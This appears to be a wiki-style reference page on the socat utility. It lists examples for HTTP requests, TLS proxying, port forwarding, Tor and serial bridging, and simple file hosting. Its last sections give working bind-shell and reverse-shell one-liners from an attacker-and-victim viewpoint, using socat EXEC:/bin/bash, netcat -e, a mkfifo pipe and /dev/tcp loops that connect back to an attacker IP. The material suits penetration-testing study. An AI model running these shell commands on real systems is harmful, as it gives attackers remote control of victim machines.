Skip to content

socat

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes.


socat connect to http-server (port 80 on 'google.com')

printf "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n\r\n" | socat TCP4:192.168.1.1:80 -

connect to https-server (port 443 on 'google.com' with tls)

printf "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n\r\n" | socat openssl:google.com:443 -

tcp-listener (port 1337), output as hexdump (-x) and fork for new connetions

socat -x tcp-listen:1337,fork -

Sleep is necessary to prevent socat closing socket before data received

printf "GET / HTTP/1.1\r\nHost: google.com\r\nConnection: close\r\n\r\n" | socat - tcp4:google.com:80

http to https Proxy (for an webserver without TLS-Support)

socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80

port forwarding (e.g. own port 1337 to port 22 on target

socat TCP4-LISTEN:1337,reuseaddr,fork TCP4:google.com:ssh

TOR-forwarding (needs tor-daemon on port 9050 running)

socat tcp4-listen:1337,reuseaddr,fork socks4A:127.0.0.1:tor_some_hidden_site.onion:80,socksport=9050

network (port 1337) to serial bridge (/dev/ttyUSB0 baudrate: 115200)

socat TCP4-LISTEN:1337,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200

udp to tcp

socat -u udp-recvfrom:1234,fork tcp:localhost:4321

Host a simple html page

while true; do 
echo -e "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c < index.html)\r\nContent-Type: text/html\r\n\r\n$(cat index.html)" | socat - TCP-LISTEN:8080,reuseaddr; 
done

Host a simple txt file

echo -e "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c < index.html)\r\nContent-Type: text/plain\r\n\r\n$(cat index.html)" | socat - TCP-LISTEN:8080,reuseaddr

Bind Shell

In this scenario socat will listen to a port in the victim(server) and wait for any new connection.

This will open port 1337 and listen on it and upon a new connection the /bin/bash will be executed, giving this way a remote shell to the attacker.

In order to set this up we need to run the following command

socat -d -d TCP4-LISTEN:1337 EXEC:/bin/bash

Connect to our victim with socat

  • On our attacker machine now we run socat with the following command so it can connect to the victim. Do remember that the IP of the victim is the 192.168.1.64.
socat - TCP4:192.168.1.64:1337

We also can use netcat to connect to our victim nc <server_ip> <port>

nc 192.168.1.64 1337

See example below

It is also possible to connect to a listening shell by /dev/tcp....

exec 3<>/dev/tcp/localhost/1337; cat <&3 & cat >&3

Same as above but in a while loop

exec 3<>/dev/tcp/localhost/1337; cat <&3 & while :; do cat >&3; done

Reverse Shell

In this scenario the victim (server) will initiate the connection back to the attacker instead of listening for incoming connections.

This means the attacker must first open a listening port. When the victim connects to that port, /bin/bash will be executed and attached to the outgoing connection, giving the attacker a remote shell.

In order to set this up we first need to listen on our attacker machine

socat -d -d TCP4-LISTEN:1337 -

Now on the victim machine we run the following command to connect back to the attacker

  • Do remember that the IP of the attacker is 192.168.1.100.
socat TCP4:192.168.1.100:1337 EXEC:/bin/bash

We also can use netcat as a listener on the attacker machine

nc -lvnp 1337

Then on the victim machine connect back using netcat

nc 192.168.1.100 1337 -e /bin/bash

Some versions of netcat (e.g. OpenBSD nc) do not support the -e option

In that case you can use the following FIFO-based method instead:

rm -f /tmp/f; mkfifo /tmp/f; nc 192.168.1.100 1337 < /tmp/f | /bin/bash > /tmp/f 2>&1

See example below

Screenshot

It is also possible to initiate a reverse shell using /dev/tcp

exec 3<>/dev/tcp/192.168.1.100/1337; cat <&3 | /bin/bash >&3 2>&3

Same as above but in a while loop

while :; do exec 3<>/dev/tcp/192.168.1.100/1337; cat <&3 | /bin/bash >&3 2>&3; done